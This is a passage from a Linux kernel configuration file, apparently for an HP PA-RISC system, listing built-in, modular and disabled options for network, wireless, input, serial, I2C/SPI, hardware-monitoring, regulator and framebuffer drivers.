CONFIG_B44_PCICORE_AUTOSELECT=y
CONFIG_B44_PCI=y
CONFIG_FORCEDETH=m
CONFIG_CS89x0=m
CONFIG_E100=m
CONFIG_LNE390=m
CONFIG_FEALNX=m
CONFIG_NATSEMI=m
CONFIG_NE2K_PCI=m
CONFIG_NE3210=m
CONFIG_ES3210=m
CONFIG_8139CP=m
CONFIG_8139TOO=m
# CONFIG_8139TOO_PIO is not set
# CONFIG_8139TOO_TUNE_TWISTER is not set
# CONFIG_8139TOO_8129 is not set
# CONFIG_8139_OLD_RX_RESET is not set
CONFIG_R6040=m
CONFIG_SIS900=m
CONFIG_EPIC100=m
CONFIG_SMSC9420=m
CONFIG_SUNDANCE=m
# CONFIG_SUNDANCE_MMIO is not set
CONFIG_TLAN=m
CONFIG_KS8851=m
CONFIG_KS8851_MLL=m
CONFIG_VIA_RHINE=m
# CONFIG_VIA_RHINE_MMIO is not set
CONFIG_SC92031=m
# CONFIG_NET_POCKET is not set
CONFIG_ATL2=m
CONFIG_NETDEV_1000=y
CONFIG_ACENIC=m
# CONFIG_ACENIC_OMIT_TIGON_I is not set
CONFIG_DL2K=m
CONFIG_E1000=m
CONFIG_E1000E=m
CONFIG_IP1000=m
CONFIG_IGB=m
CONFIG_IGBVF=m
CONFIG_NS83820=m
CONFIG_HAMACHI=m
CONFIG_YELLOWFIN=m
CONFIG_R8169=m
CONFIG_SIS190=m
CONFIG_SKGE=m
# CONFIG_SKGE_DEBUG is not set
CONFIG_SKY2=m
# CONFIG_SKY2_DEBUG is not set
CONFIG_VIA_VELOCITY=m
CONFIG_TIGON3=m
CONFIG_BNX2=m
CONFIG_CNIC=m
CONFIG_QLA3XXX=m
CONFIG_ATL1=m
CONFIG_ATL1E=m
CONFIG_ATL1C=m
CONFIG_JME=m
# CONFIG_STMMAC_ETH is not set
# CONFIG_PCH_GBE is not set
CONFIG_NETDEV_10000=y
CONFIG_MDIO=m
CONFIG_CHELSIO_T1=m
CONFIG_CHELSIO_T1_1G=y
CONFIG_CHELSIO_T3=m
CONFIG_CHELSIO_T4=m
CONFIG_CHELSIO_T4VF=m
CONFIG_ENIC=m
CONFIG_IXGBE=m
CONFIG_IXGBE_DCB=y
CONFIG_IXGB=m
CONFIG_S2IO=m
# CONFIG_VXGE is not set
CONFIG_MYRI10GE=m
CONFIG_NETXEN_NIC=m
# CONFIG_NIU is not set
CONFIG_MLX4_EN=m
CONFIG_MLX4_CORE=m
CONFIG_MLX4_DEBUG=y
CONFIG_TEHUTI=m
CONFIG_BNX2X=m
CONFIG_QLCNIC=m
CONFIG_QLGE=m
CONFIG_BNA=m
CONFIG_SFC=m
CONFIG_BE2NET=m
# CONFIG_TR is not set
CONFIG_WLAN=y
CONFIG_PCMCIA_RAYCS=m
CONFIG_LIBERTAS_THINFIRM=m
# CONFIG_LIBERTAS_THINFIRM_DEBUG is not set
CONFIG_LIBERTAS_THINFIRM_USB=m
# CONFIG_ATMEL is not set
CONFIG_AT76C50X_USB=m
CONFIG_AIRO_CS=m
CONFIG_PCMCIA_WL3501=m
# CONFIG_PRISM54 is not set
# CONFIG_USB_ZD1201 is not set
CONFIG_USB_NET_RNDIS_WLAN=m
CONFIG_RTL8180=m
CONFIG_RTL8187=m
CONFIG_RTL8187_LEDS=y
CONFIG_ADM8211=m
CONFIG_MAC80211_HWSIM=m
CONFIG_MWL8K=m
CONFIG_ATH_COMMON=m
# CONFIG_ATH_DEBUG is not set
CONFIG_ATH5K=m
# CONFIG_ATH5K_DEBUG is not set
CONFIG_ATH5K_PCI=y
CONFIG_ATH9K_HW=m
CONFIG_ATH9K_COMMON=m
CONFIG_ATH9K=m
# CONFIG_ATH9K_DEBUGFS is not set
CONFIG_ATH9K_RATE_CONTROL=y
CONFIG_ATH9K_HTC=m
# CONFIG_ATH9K_HTC_DEBUGFS is not set
CONFIG_AR9170_USB=m
CONFIG_AR9170_LEDS=y
# CONFIG_CARL9170 is not set
CONFIG_B43=m
CONFIG_B43_PCI_AUTOSELECT=y
CONFIG_B43_PCICORE_AUTOSELECT=y
CONFIG_B43_PCMCIA=y
CONFIG_B43_PIO=y
CONFIG_B43_PHY_N=y
CONFIG_B43_PHY_LP=y
CONFIG_B43_LEDS=y
CONFIG_B43_HWRNG=y
# CONFIG_B43_DEBUG is not set
CONFIG_B43LEGACY=m
CONFIG_B43LEGACY_PCI_AUTOSELECT=y
CONFIG_B43LEGACY_PCICORE_AUTOSELECT=y
CONFIG_B43LEGACY_LEDS=y
CONFIG_B43LEGACY_HWRNG=y
CONFIG_B43LEGACY_DEBUG=y
CONFIG_B43LEGACY_DMA=y
CONFIG_B43LEGACY_PIO=y
CONFIG_B43LEGACY_DMA_AND_PIO_MODE=y
# CONFIG_B43LEGACY_DMA_MODE is not set
# CONFIG_B43LEGACY_PIO_MODE is not set
CONFIG_HOSTAP=m
CONFIG_HOSTAP_FIRMWARE=y
# CONFIG_HOSTAP_FIRMWARE_NVRAM is not set
CONFIG_HOSTAP_PLX=m
CONFIG_HOSTAP_PCI=m
CONFIG_HOSTAP_CS=m
# CONFIG_IPW2100 is not set
CONFIG_IPW2200=m
CONFIG_IPW2200_MONITOR=y
CONFIG_IPW2200_RADIOTAP=y
CONFIG_IPW2200_PROMISCUOUS=y
CONFIG_IPW2200_QOS=y
# CONFIG_IPW2200_DEBUG is not set
CONFIG_LIBIPW=m
# CONFIG_LIBIPW_DEBUG is not set
CONFIG_IWLAGN=m

#
# Debugging Options
#
# CONFIG_IWLWIFI_DEBUG is not set
# CONFIG_IWL_P2P is not set
# CONFIG_IWLWIFI_LEGACY is not set
CONFIG_LIBERTAS=m
CONFIG_LIBERTAS_USB=m
CONFIG_LIBERTAS_CS=m
CONFIG_LIBERTAS_SPI=m
# CONFIG_LIBERTAS_DEBUG is not set
CONFIG_LIBERTAS_MESH=y
CONFIG_HERMES=m
# CONFIG_HERMES_PRISM is not set
CONFIG_HERMES_CACHE_FW_ON_INIT=y
# CONFIG_PLX_HERMES is not set
# CONFIG_TMD_HERMES is not set
CONFIG_NORTEL_HERMES=m
CONFIG_PCMCIA_HERMES=m
CONFIG_PCMCIA_SPECTRUM=m
CONFIG_ORINOCO_USB=m
CONFIG_P54_COMMON=m
CONFIG_P54_USB=m
CONFIG_P54_PCI=m
CONFIG_P54_SPI=m
# CONFIG_P54_SPI_DEFAULT_EEPROM is not set
CONFIG_P54_LEDS=y
CONFIG_RT2X00=m
CONFIG_RT2400PCI=m
CONFIG_RT2500PCI=m
CONFIG_RT61PCI=m
CONFIG_RT2800PCI=m
# CONFIG_RT2800PCI_RT33XX is not set
# CONFIG_RT2800PCI_RT35XX is not set
# CONFIG_RT2800PCI_RT53XX is not set
CONFIG_RT2500USB=m
CONFIG_RT73USB=m
CONFIG_RT2800USB=m
# CONFIG_RT2800USB_RT33XX is not set
# CONFIG_RT2800USB_RT35XX is not set
# CONFIG_RT2800USB_UNKNOWN is not set
CONFIG_RT2800_LIB=m
CONFIG_RT2X00_LIB_PCI=m
CONFIG_RT2X00_LIB_USB=m
CONFIG_RT2X00_LIB=m
CONFIG_RT2X00_LIB_HT=y
CONFIG_RT2X00_LIB_FIRMWARE=y
CONFIG_RT2X00_LIB_CRYPTO=y
CONFIG_RT2X00_LIB_LEDS=y
# CONFIG_RT2X00_DEBUG is not set
CONFIG_RTL8192CE=m
# CONFIG_RTL8192CU is not set
CONFIG_RTLWIFI=m
CONFIG_RTL8192C_COMMON=m
CONFIG_WL1251=m
CONFIG_WL1251_SPI=m
# CONFIG_WL12XX_MENU is not set
CONFIG_ZD1211RW=m
# CONFIG_ZD1211RW_DEBUG is not set

#
# WiMAX Wireless Broadband devices
#
CONFIG_WIMAX_I2400M=m

#
# Enable MMC support to see WiMAX SDIO drivers
#
CONFIG_WIMAX_I2400M_USB=m
CONFIG_WIMAX_I2400M_DEBUG_LEVEL=8

#
# USB Network Adapters
#
CONFIG_USB_CATC=m
CONFIG_USB_KAWETH=m
CONFIG_USB_PEGASUS=m
CONFIG_USB_RTL8150=m
CONFIG_USB_USBNET=m
CONFIG_USB_NET_AX8817X=m
CONFIG_USB_NET_CDCETHER=m
CONFIG_USB_NET_CDC_EEM=m
CONFIG_USB_NET_CDC_NCM=m
CONFIG_USB_NET_DM9601=m
CONFIG_USB_NET_SMSC75XX=m
CONFIG_USB_NET_SMSC95XX=m
CONFIG_USB_NET_GL620A=m
CONFIG_USB_NET_NET1080=m
CONFIG_USB_NET_PLUSB=m
CONFIG_USB_NET_MCS7830=m
CONFIG_USB_NET_RNDIS_HOST=m
CONFIG_USB_NET_CDC_SUBSET=m
CONFIG_USB_ALI_M5632=y
CONFIG_USB_AN2720=y
CONFIG_USB_BELKIN=y
CONFIG_USB_ARMLINUX=y
CONFIG_USB_EPSON2888=y
CONFIG_USB_KC2190=y
CONFIG_USB_NET_ZAURUS=m
CONFIG_USB_NET_CX82310_ETH=m
CONFIG_USB_HSO=m
CONFIG_USB_NET_INT51X1=m
CONFIG_USB_CDC_PHONET=m
CONFIG_USB_IPHETH=m
CONFIG_USB_SIERRA_NET=m
# CONFIG_USB_VL600 is not set
CONFIG_NET_PCMCIA=y
CONFIG_PCMCIA_3C589=m
CONFIG_PCMCIA_3C574=m
CONFIG_PCMCIA_FMVJ18X=m
CONFIG_PCMCIA_PCNET=m
CONFIG_PCMCIA_NMCLAN=m
CONFIG_PCMCIA_SMC91C92=m
CONFIG_PCMCIA_XIRC2PS=m
CONFIG_PCMCIA_AXNET=m
# CONFIG_WAN is not set
CONFIG_IEEE802154_DRIVERS=m
CONFIG_IEEE802154_FAKEHARD=m

#
# CAIF transport drivers
#
# CONFIG_FDDI is not set
# CONFIG_HIPPI is not set
CONFIG_PLIP=m
CONFIG_PPP=m
CONFIG_PPP_MULTILINK=y
CONFIG_PPP_FILTER=y
CONFIG_PPP_ASYNC=m
CONFIG_PPP_SYNC_TTY=m
CONFIG_PPP_DEFLATE=m
CONFIG_PPP_BSDCOMP=m
CONFIG_PPP_MPPE=m
CONFIG_PPPOE=m
CONFIG_PPTP=m
CONFIG_PPPOL2TP=m
CONFIG_SLIP=m
CONFIG_SLIP_COMPRESSED=y
CONFIG_SLHC=m
CONFIG_SLIP_SMART=y
CONFIG_SLIP_MODE_SLIP6=y
# CONFIG_NET_FC is not set
CONFIG_NETCONSOLE=m
CONFIG_NETCONSOLE_DYNAMIC=y
CONFIG_NETPOLL=y
# CONFIG_NETPOLL_TRAP is not set
CONFIG_NET_POLL_CONTROLLER=y
CONFIG_VMXNET3=m
# CONFIG_ISDN is not set
# CONFIG_PHONE is not set

#
# Input device support
#
CONFIG_INPUT=y
CONFIG_INPUT_FF_MEMLESS=m
CONFIG_INPUT_POLLDEV=m
CONFIG_INPUT_SPARSEKMAP=m

#
# Userland interfaces
#
CONFIG_INPUT_MOUSEDEV=y
CONFIG_INPUT_MOUSEDEV_PSAUX=y
CONFIG_INPUT_MOUSEDEV_SCREEN_X=1024
CONFIG_INPUT_MOUSEDEV_SCREEN_Y=768
# CONFIG_INPUT_JOYDEV is not set
CONFIG_INPUT_EVDEV=m
# CONFIG_INPUT_EVBUG is not set

#
# Input Device Drivers
#
CONFIG_INPUT_KEYBOARD=y
CONFIG_KEYBOARD_ADP5588=m
CONFIG_KEYBOARD_ATKBD=y
CONFIG_KEYBOARD_ATKBD_HP_KEYCODES=y
# CONFIG_KEYBOARD_ATKBD_RDI_KEYCODES is not set
# CONFIG_KEYBOARD_QT1070 is not set
CONFIG_KEYBOARD_QT2160=m
# CONFIG_KEYBOARD_LKKBD is not set
# CONFIG_KEYBOARD_TCA6416 is not set
CONFIG_KEYBOARD_HIL_OLD=m
CONFIG_KEYBOARD_HIL=m
CONFIG_KEYBOARD_LM8323=m
CONFIG_KEYBOARD_MAX7359=m
# CONFIG_KEYBOARD_MCS is not set
# CONFIG_KEYBOARD_NEWTON is not set
CONFIG_KEYBOARD_OPENCORES=m
CONFIG_KEYBOARD_STOWAWAY=m
# CONFIG_KEYBOARD_SUNKBD is not set
# CONFIG_KEYBOARD_XTKBD is not set
CONFIG_INPUT_MOUSE=y
CONFIG_MOUSE_PS2=m
CONFIG_MOUSE_PS2_ALPS=y
CONFIG_MOUSE_PS2_LOGIPS2PP=y
CONFIG_MOUSE_PS2_SYNAPTICS=y
CONFIG_MOUSE_PS2_TRACKPOINT=y
CONFIG_MOUSE_PS2_ELANTECH=y
CONFIG_MOUSE_PS2_SENTELIC=y
# CONFIG_MOUSE_PS2_TOUCHKIT is not set
# CONFIG_MOUSE_SERIAL is not set
# CONFIG_MOUSE_APPLETOUCH is not set
# CONFIG_MOUSE_BCM5974 is not set
# CONFIG_MOUSE_INPORT is not set
# CONFIG_MOUSE_LOGIBM is not set
# CONFIG_MOUSE_PC110PAD is not set
# CONFIG_MOUSE_VSXXXAA is not set
CONFIG_MOUSE_SYNAPTICS_I2C=m
# CONFIG_INPUT_JOYSTICK is not set
# CONFIG_INPUT_TABLET is not set
# CONFIG_INPUT_TOUCHSCREEN is not set
CONFIG_INPUT_MISC=y
# CONFIG_INPUT_AD714X is not set
CONFIG_INPUT_ATI_REMOTE=m
CONFIG_INPUT_ATI_REMOTE2=m
CONFIG_INPUT_KEYSPAN_REMOTE=m
CONFIG_INPUT_POWERMATE=m
CONFIG_INPUT_YEALINK=m
CONFIG_INPUT_CM109=m
# CONFIG_INPUT_UINPUT is not set
CONFIG_HP_SDC_RTC=m
CONFIG_INPUT_PCF50633_PMU=m
# CONFIG_INPUT_PCF8574 is not set
# CONFIG_INPUT_ADXL34X is not set
# CONFIG_INPUT_CMA3000 is not set

#
# Hardware I/O ports
#
CONFIG_SERIO=y
CONFIG_SERIO_SERPORT=m
# CONFIG_SERIO_PARKBD is not set
CONFIG_SERIO_GSCPS2=y
CONFIG_HP_SDC=m
CONFIG_HIL_MLC=m
# CONFIG_SERIO_PCIPS2 is not set
CONFIG_SERIO_LIBPS2=y
CONFIG_SERIO_RAW=m
CONFIG_SERIO_ALTERA_PS2=m
# CONFIG_SERIO_PS2MULT is not set
# CONFIG_GAMEPORT is not set

#
# Character devices
#
CONFIG_VT=y
CONFIG_CONSOLE_TRANSLATIONS=y
CONFIG_VT_CONSOLE=y
CONFIG_HW_CONSOLE=y
CONFIG_VT_HW_CONSOLE_BINDING=y
CONFIG_UNIX98_PTYS=y
CONFIG_DEVPTS_MULTIPLE_INSTANCES=y
# CONFIG_LEGACY_PTYS is not set
# CONFIG_SERIAL_NONSTANDARD is not set
CONFIG_NOZOMI=m
CONFIG_N_GSM=m
# CONFIG_DEVKMEM is not set

#
# Serial drivers
#
CONFIG_SERIAL_8250=y
CONFIG_SERIAL_8250_CONSOLE=y
CONFIG_SERIAL_8250_GSC=y
CONFIG_SERIAL_8250_PCI=y
CONFIG_SERIAL_8250_CS=m
CONFIG_SERIAL_8250_NR_UARTS=32
CONFIG_SERIAL_8250_RUNTIME_UARTS=4
CONFIG_SERIAL_8250_EXTENDED=y
CONFIG_SERIAL_8250_MANY_PORTS=y
CONFIG_SERIAL_8250_FOURPORT=m
CONFIG_SERIAL_8250_ACCENT=m
CONFIG_SERIAL_8250_BOCA=m
# CONFIG_SERIAL_8250_EXAR_ST16C554 is not set
CONFIG_SERIAL_8250_HUB6=m
CONFIG_SERIAL_8250_SHARE_IRQ=y
# CONFIG_SERIAL_8250_DETECT_IRQ is not set
# CONFIG_SERIAL_8250_RSA is not set

#
# Non-8250 serial port support
#
CONFIG_SERIAL_MAX3100=m
# CONFIG_SERIAL_MAX3107 is not set
CONFIG_SERIAL_MFD_HSU=m
CONFIG_SERIAL_MUX=y
CONFIG_SERIAL_MUX_CONSOLE=y
CONFIG_SERIAL_CORE=y
CONFIG_SERIAL_CORE_CONSOLE=y
CONFIG_SERIAL_JSM=m
# CONFIG_SERIAL_TIMBERDALE is not set
# CONFIG_SERIAL_ALTERA_JTAGUART is not set
# CONFIG_SERIAL_ALTERA_UART is not set
# CONFIG_SERIAL_PCH_UART is not set
CONFIG_PRINTER=m
# CONFIG_LP_CONSOLE is not set
# CONFIG_PPDEV is not set
# CONFIG_IPMI_HANDLER is not set
CONFIG_HW_RANDOM=m
CONFIG_HW_RANDOM_TIMERIOMEM=m
# CONFIG_DTLK is not set
# CONFIG_R3964 is not set
# CONFIG_APPLICOM is not set

#
# PCMCIA character devices
#
CONFIG_SYNCLINK_CS=m
CONFIG_CARDMAN_4000=m
CONFIG_CARDMAN_4040=m
CONFIG_IPWIRELESS=m
# CONFIG_RAW_DRIVER is not set
CONFIG_TCG_TPM=m
CONFIG_TCG_TIS=m
CONFIG_TCG_NSC=m
CONFIG_TCG_ATMEL=m
CONFIG_DEVPORT=y
CONFIG_RAMOOPS=m
CONFIG_I2C=m
CONFIG_I2C_BOARDINFO=y
CONFIG_I2C_COMPAT=y
# CONFIG_I2C_CHARDEV is not set
# CONFIG_I2C_MUX is not set
CONFIG_I2C_HELPER_AUTO=y
CONFIG_I2C_ALGOBIT=m
CONFIG_I2C_ALGOPCA=m

#
# I2C Hardware Bus support
#

#
# PC SMBus host controller drivers
#
# CONFIG_I2C_ALI1535 is not set
# CONFIG_I2C_ALI1563 is not set
# CONFIG_I2C_ALI15X3 is not set
# CONFIG_I2C_AMD756 is not set
# CONFIG_I2C_AMD8111 is not set
# CONFIG_I2C_I801 is not set
CONFIG_I2C_ISCH=m
# CONFIG_I2C_PIIX4 is not set
# CONFIG_I2C_NFORCE2 is not set
# CONFIG_I2C_SIS5595 is not set
# CONFIG_I2C_SIS630 is not set
# CONFIG_I2C_SIS96X is not set
# CONFIG_I2C_VIA is not set
# CONFIG_I2C_VIAPRO is not set

#
# I2C system bus drivers (mostly embedded / system-on-chip)
#
# CONFIG_I2C_INTEL_MID is not set
CONFIG_I2C_OCORES=m
CONFIG_I2C_PCA_PLATFORM=m
# CONFIG_I2C_PXA_PCI is not set
CONFIG_I2C_SIMTEC=m
# CONFIG_I2C_XILINX is not set
# CONFIG_I2C_EG20T is not set

#
# External I2C/SMBus adapter drivers
#
# CONFIG_I2C_DIOLAN_U2C is not set
# CONFIG_I2C_PARPORT is not set
# CONFIG_I2C_PARPORT_LIGHT is not set
CONFIG_I2C_TAOS_EVM=m
CONFIG_I2C_TINY_USB=m

#
# Other I2C/SMBus bus drivers
#
# CONFIG_I2C_PCA_ISA is not set
# CONFIG_I2C_STUB is not set
# CONFIG_I2C_DEBUG_CORE is not set
# CONFIG_I2C_DEBUG_ALGO is not set
# CONFIG_I2C_DEBUG_BUS is not set
CONFIG_SPI=y
# CONFIG_SPI_DEBUG is not set
CONFIG_SPI_MASTER=y

#
# SPI Master Controller Drivers
#
# CONFIG_SPI_ALTERA is not set
CONFIG_SPI_BITBANG=m
CONFIG_SPI_BUTTERFLY=m
CONFIG_SPI_LM70_LLP=m
# CONFIG_SPI_PXA2XX_PCI is not set
# CONFIG_SPI_TOPCLIFF_PCH is not set
# CONFIG_SPI_XILINX is not set
# CONFIG_SPI_DESIGNWARE is not set

#
# SPI Protocol Masters
#
# CONFIG_SPI_SPIDEV is not set
CONFIG_SPI_TLE62X0=m

#
# PPS support
#
CONFIG_PPS=m
# CONFIG_PPS_DEBUG is not set
# CONFIG_NTP_PPS is not set

#
# PPS clients support
#
# CONFIG_PPS_CLIENT_KTIMER is not set
CONFIG_PPS_CLIENT_LDISC=m
# CONFIG_PPS_CLIENT_PARPORT is not set

#
# PPS generators support
#
# CONFIG_W1 is not set
# CONFIG_POWER_SUPPLY is not set
CONFIG_HWMON=y
CONFIG_HWMON_VID=m
# CONFIG_HWMON_DEBUG_CHIP is not set

#
# Native drivers
#
CONFIG_SENSORS_AD7414=m
CONFIG_SENSORS_AD7418=m
CONFIG_SENSORS_ADCXX=m
# CONFIG_SENSORS_ADM1021 is not set
# CONFIG_SENSORS_ADM1025 is not set
# CONFIG_SENSORS_ADM1026 is not set
CONFIG_SENSORS_ADM1029=m
# CONFIG_SENSORS_ADM1031 is not set
CONFIG_SENSORS_ADM9240=m
CONFIG_SENSORS_ADT7411=m
CONFIG_SENSORS_ADT7462=m
CONFIG_SENSORS_ADT7470=m
CONFIG_SENSORS_ADT7475=m
CONFIG_SENSORS_ASC7621=m
CONFIG_SENSORS_ATXP1=m
# CONFIG_SENSORS_DS620 is not set
# CONFIG_SENSORS_DS1621 is not set
CONFIG_SENSORS_I5K_AMB=m
# CONFIG_SENSORS_F71805F is not set
CONFIG_SENSORS_F71882FG=m
CONFIG_SENSORS_F75375S=m
CONFIG_SENSORS_G760A=m
# CONFIG_SENSORS_GL518SM is not set
# CONFIG_SENSORS_GL520SM is not set
# CONFIG_SENSORS_IT87 is not set
# CONFIG_SENSORS_JC42 is not set
# CONFIG_SENSORS_LINEAGE is not set
# CONFIG_SENSORS_LM63 is not set
CONFIG_SENSORS_LM70=m
CONFIG_SENSORS_LM73=m
# CONFIG_SENSORS_LM75 is not set
# CONFIG_SENSORS_LM77 is not set
# CONFIG_SENSORS_LM78 is not set
# CONFIG_SENSORS_LM80 is not set
# CONFIG_SENSORS_LM83 is not set
# CONFIG_SENSORS_LM85 is not set
# CONFIG_SENSORS_LM87 is not set
# CONFIG_SENSORS_LM90 is not set
# CONFIG_SENSORS_LM92 is not set
CONFIG_SENSORS_LM93=m
# CONFIG_SENSORS_LTC4151 is not set
CONFIG_SENSORS_LTC4215=m
CONFIG_SENSORS_LTC4245=m
# CONFIG_SENSORS_LTC4261 is not set
CONFIG_SENSORS_LM95241=m
CONFIG_SENSORS_MAX1111=m
# CONFIG_SENSORS_MAX1619 is not set
# CONFIG_SENSORS_MAX6639 is not set
CONFIG_SENSORS_MAX6650=m
# CONFIG_SENSORS_PC87360 is not set
CONFIG_SENSORS_PC87427=m
# CONFIG_SENSORS_PCF8591 is not set
# CONFIG_PMBUS is not set
# CONFIG_SENSORS_SHT21 is not set
# CONFIG_SENSORS_SIS5595 is not set
# CONFIG_SENSORS_SMM665 is not set
CONFIG_SENSORS_DME1737=m
CONFIG_SENSORS_EMC1403=m
# CONFIG_SENSORS_EMC2103 is not set
# CONFIG_SENSORS_SMSC47M1 is not set
CONFIG_SENSORS_SMSC47M192=m
# CONFIG_SENSORS_SMSC47B397 is not set
# CONFIG_SENSORS_SCH5627 is not set
# CONFIG_SENSORS_ADS1015 is not set
CONFIG_SENSORS_ADS7828=m
CONFIG_SENSORS_ADS7871=m
CONFIG_SENSORS_AMC6821=m
CONFIG_SENSORS_THMC50=m
CONFIG_SENSORS_TMP102=m
CONFIG_SENSORS_TMP401=m
CONFIG_SENSORS_TMP421=m
# CONFIG_SENSORS_VIA686A is not set
CONFIG_SENSORS_VT1211=m
CONFIG_SENSORS_VT8231=m
# CONFIG_SENSORS_W83781D is not set
CONFIG_SENSORS_W83791D=m
CONFIG_SENSORS_W83792D=m
CONFIG_SENSORS_W83793=m
# CONFIG_SENSORS_W83795 is not set
# CONFIG_SENSORS_W83L785TS is not set
CONFIG_SENSORS_W83L786NG=m
# CONFIG_SENSORS_W83627HF is not set
CONFIG_SENSORS_W83627EHF=m
# CONFIG_THERMAL is not set
CONFIG_WATCHDOG=y
# CONFIG_WATCHDOG_NOWAYOUT is not set

#
# Watchdog Device Drivers
#
CONFIG_SOFT_WATCHDOG=m
# CONFIG_ALIM7101_WDT is not set

#
# ISA-based Watchdog Cards
#
# CONFIG_PCWATCHDOG is not set
# CONFIG_MIXCOMWD is not set
# CONFIG_WDT is not set

#
# PCI-based Watchdog Cards
#
# CONFIG_PCIPCWATCHDOG is not set
# CONFIG_WDTPCI is not set

#
# USB-based Watchdog Cards
#
# CONFIG_USBPCWATCHDOG is not set
CONFIG_SSB_POSSIBLE=y

#
# Sonics Silicon Backplane
#
CONFIG_SSB=m
CONFIG_SSB_SPROM=y
CONFIG_SSB_BLOCKIO=y
CONFIG_SSB_PCIHOST_POSSIBLE=y
CONFIG_SSB_PCIHOST=y
CONFIG_SSB_B43_PCI_BRIDGE=y
CONFIG_SSB_PCMCIAHOST_POSSIBLE=y
CONFIG_SSB_PCMCIAHOST=y
# CONFIG_SSB_DEBUG is not set
CONFIG_SSB_DRIVER_PCICORE_POSSIBLE=y
CONFIG_SSB_DRIVER_PCICORE=y
CONFIG_MFD_SUPPORT=y
CONFIG_MFD_CORE=m
CONFIG_MFD_SM501=m
CONFIG_HTC_PASIC3=m
# CONFIG_TPS6105X is not set
# CONFIG_TPS6507X is not set
# CONFIG_MFD_TMIO is not set
CONFIG_MFD_WM8400=m
# CONFIG_MFD_WM831X_SPI is not set
CONFIG_MFD_PCF50633=m
# CONFIG_MFD_MC13XXX is not set
CONFIG_PCF50633_ADC=m
CONFIG_PCF50633_GPIO=m
# CONFIG_ABX500_CORE is not set
# CONFIG_EZX_PCAP is not set
CONFIG_LPC_SCH=m
# CONFIG_MFD_RDC321X is not set
# CONFIG_MFD_JANZ_CMODIO is not set
# CONFIG_MFD_VX855 is not set
# CONFIG_MFD_WL1273_CORE is not set
CONFIG_REGULATOR=y
# CONFIG_REGULATOR_DEBUG is not set
# CONFIG_REGULATOR_DUMMY is not set
CONFIG_REGULATOR_FIXED_VOLTAGE=m
# CONFIG_REGULATOR_VIRTUAL_CONSUMER is not set
CONFIG_REGULATOR_USERSPACE_CONSUMER=m
CONFIG_REGULATOR_BQ24022=m
CONFIG_REGULATOR_MAX1586=m
CONFIG_REGULATOR_MAX8649=m
CONFIG_REGULATOR_MAX8660=m
# CONFIG_REGULATOR_MAX8952 is not set
CONFIG_REGULATOR_WM8400=m
CONFIG_REGULATOR_PCF50633=m
CONFIG_REGULATOR_LP3971=m
# CONFIG_REGULATOR_LP3972 is not set
CONFIG_REGULATOR_TPS65023=m
CONFIG_REGULATOR_TPS6507X=m
# CONFIG_REGULATOR_ISL6271A is not set
# CONFIG_REGULATOR_AD5398 is not set
# CONFIG_REGULATOR_TPS6524X is not set
CONFIG_MEDIA_SUPPORT=m

#
# Multimedia core support
#
# CONFIG_MEDIA_CONTROLLER is not set
# CONFIG_VIDEO_DEV is not set
# CONFIG_DVB_CORE is not set
# CONFIG_VIDEO_MEDIA is not set

#
# Multimedia drivers
#
CONFIG_RC_CORE=m
CONFIG_LIRC=m
CONFIG_RC_MAP=m
CONFIG_IR_NEC_DECODER=m
CONFIG_IR_RC5_DECODER=m
CONFIG_IR_RC6_DECODER=m
CONFIG_IR_JVC_DECODER=m
CONFIG_IR_SONY_DECODER=m
CONFIG_IR_RC5_SZ_DECODER=m
CONFIG_IR_LIRC_CODEC=m
CONFIG_IR_IMON=m
CONFIG_IR_MCEUSB=m
CONFIG_IR_STREAMZAP=m
# CONFIG_RC_LOOPBACK is not set

#
# Graphics support
#
# CONFIG_AGP is not set
CONFIG_VGA_ARB=y
CONFIG_VGA_ARB_MAX_GPUS=16
# CONFIG_DRM is not set
# CONFIG_STUB_POULSBO is not set
# CONFIG_VGASTATE is not set
# CONFIG_VIDEO_OUTPUT_CONTROL is not set
CONFIG_FB=y
CONFIG_FIRMWARE_EDID=y
# CONFIG_FB_DDC is not set
# CONFIG_FB_BOOT_VESA_SUPPORT is not set
CONFIG_FB_CFB_FILLRECT=y
CONFIG_FB_CFB_COPYAREA=y
CONFIG_FB_CFB_IMAGEBLIT=y
# CONFIG_FB_CFB_REV_PIXELS_IN_BYTE is not set
CONFIG_FB_SYS_FILLRECT=m
CONFIG_FB_SYS_COPYAREA=m
CONFIG_FB_SYS_IMAGEBLIT=m
# CONFIG_FB_FOREIGN_ENDIAN is not set
CONFIG_FB_SYS_FOPS=m
# CONFIG_FB_WMT_GE_ROPS is not set
CONFIG_FB_DEFERRED_IO=y
# CONFIG_FB_SVGALIB is not set
# CONFIG_FB_MACMODES is not set
# CONFIG_FB_BACKLIGHT is not set
CONFIG_FB_MODE_HELPERS=y
# CONFIG_FB_TILEBLITTING is not set

#
# Frame buffer hardware drivers
#
# CONFIG_FB_CIRRUS is not set
# CONFIG_FB_PM2 is not set
# CONFIG_FB_CYBER2000 is not set
# CONFIG_FB_ASILIANT is not set
# CONFIG_FB_IMSTT is not set
CONFIG_FB_STI=y
# CONFIG_FB_UVESA is not set
# CONFIG_FB_S1D13XXX is not set
# CONFIG_FB_NVIDIA is not set
# CONFIG_FB_RIVA is not set
# CONFIG_FB_MATROX is not set
# CONFIG_FB_RADEON is not set
# CONFIG_FB_ATY128 is not set
# CONFIG_FB_ATY is not set
# CONFIG_FB_S3 is not set
# CONFIG_FB_SAVAGE is not set
# CONFIG_FB_SIS is not set
# CONFIG_FB_NEOMAGIC is not set
# CONFIG_FB_KYRO is not set
# CONFIG_FB_3DFX is not set
# CONFIG_FB_VOODOO1 is not set
# CONFIG_FB_VT8623 is not set
# CONFIG_FB_TRIDENT is not set
# CONFIG_FB_ARK is not set
# CONFIG_FB_PM3 is not set
# CONFIG_FB_CARMINE is not set
# CONFIG_FB_TMIO is not set
CONFIG_FB_SM501=m
# CONFIG_FB_UDL is not set
# CONFIG_FB_VIRTUAL is not set
CONFIG_FB_METRONOME=m
CONFIG_FB_MB862XX=m
CONFIG_FB_MB862XX_PCI_GDC=y
# CONFIG_FB_BROADSHEET is not set
CONFIG_BACKLIGHT_LCD_SUPPORT=y
# CONFIG_LCD_CLASS_DEVICE is not set
CONFIG_BACKLIGHT_CLASS_DEVICE=y
# CONFIG_BACKLIGHT_GENERIC is not set
# CONFIG_BACKLIGHT_ADP8860 is not set
# CONFIG_BACKLIGHT_PCF50633 is not set

#
# Display device support
#
CONFIG_DISPLAY_SUPPORT=m

#
# Display hardware drivers
#

#
# Console display driver support
#
CONFIG_DUMMY_CONSOLE=y
CONFIG_DUMMY_CONSOLE_COLUMNS=160
CONFIG_DUMMY_CONSOLE_ROWS=64
CONFIG_FRAMEBUFFER_CONSOLE=y
